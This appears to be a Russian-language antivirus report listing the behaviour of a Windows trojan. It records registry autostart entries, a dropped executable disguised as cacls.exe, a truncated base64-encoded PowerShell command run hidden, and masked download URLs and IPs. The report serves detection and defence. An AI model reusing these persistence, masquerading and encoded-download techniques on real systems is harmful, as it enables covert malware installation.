Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\cacls] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\cacls] 'ImagePath' = '"%WINDIR%\SysWOW64\uicom\cacls.exe"'
- 'cacls' "%WINDIR%\SysWOW64\uicom\cacls.exe"
- 'cacls' %WINDIR%\SysWOW64\uicom\cacls.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABzAGEAbwBkAHAAaQBjAHYAbwB0AD0AJwBnAGUAZABxAHUAZQBpAG0AJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBgAEUAYABjAHUAcgBgAEkAdABZAHAAUgBvAHQAbwBjAG8AbAAiAC...
- %HOMEPATH%\526.exe
- %WINDIR%\syswow64\uicom\cacls.exe
- %HOMEPATH%\526.exe в %WINDIR%\syswow64\uicom\cacls.exe
- '10#.#09.239.55':80
- http://sa####hsawant.com/blogs/pzVdAHHI/
- http://th####getlord.com/click/etTQxxDQ/
- http://10#.#09.239.55/LmLibJZcr216q/76Nr/SCBQP0K8NxcAQJliZn/ymyBIJyMCSCP8W/lD7TVrZ90SKbH/1jBExLjbBrilJLIII/
- DNS ASK sa####hsawant.com
- DNS ASK th####getlord.com
- '%HOMEPATH%\526.exe'
- '%WINDIR%\syswow64\uicom\cacls.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABzAGEAbwBkAHAAaQBjAHYAbwB0AD0AJwBnAGUAZABxAHUAZQBpAG0AJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBgAEUAYABjAHUAcgBgAEkAdABZAHAAUgBvAHQAbwBjAG8AbAAiAC...' (со скрытым окном)